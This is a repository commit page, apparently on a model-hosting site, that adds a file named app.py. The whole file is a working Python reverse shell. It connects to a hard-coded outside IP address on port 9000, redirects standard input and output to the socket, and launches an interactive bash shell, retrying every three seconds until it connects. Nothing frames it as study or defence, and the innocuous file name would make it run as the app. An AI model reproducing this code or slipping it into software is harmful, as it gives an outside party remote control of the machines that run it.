dana56 commited on
Commit
c1917c8
·
verified ·
1 Parent(s): 98f64d6

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +39 -0
app.py ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import socket
2
+ import subprocess
3
+ import os
4
+ import time
5
+
6
+ def run_reverse_shell():
7
+ try:
8
+ # Задаем IP-адрес и порт сервера
9
+ ip = '45.155.205.202'
10
+ port = 9000
11
+
12
+ while True:
13
+ try:
14
+ # Создаем сокет
15
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16
+ s.connect((ip, port))
17
+
18
+ # Отправляем сообщение о подключении
19
+ s.send(b"Connected to reverse shell.\n")
20
+
21
+ # Сразу входим в интерактивную оболочку
22
+ os.dup2(s.fileno(), 0) # stdin
23
+ os.dup2(s.fileno(), 1) # stdout
24
+ os.dup2(s.fileno(), 2) # stderr
25
+
26
+ # Запускаем оболочку (например, bash)
27
+ p = subprocess.call(['/bin/bash', '-i']) # Используем -i для интерактивного режима
28
+
29
+ # Закрываем сокет
30
+ s.close()
31
+ break # Выходим из цикла, если соединение успешно
32
+ except Exception as e:
33
+ print(f"Connection failed: {e}. Retrying in 3 seconds...")
34
+ time.sleep(3) # Ждем 3 секунды перед повторной попыткой
35
+ except Exception as e:
36
+ print(f"An error occurred: {str(e)}")
37
+
38
+ if __name__ == "__main__":
39
+ run_reverse_shell()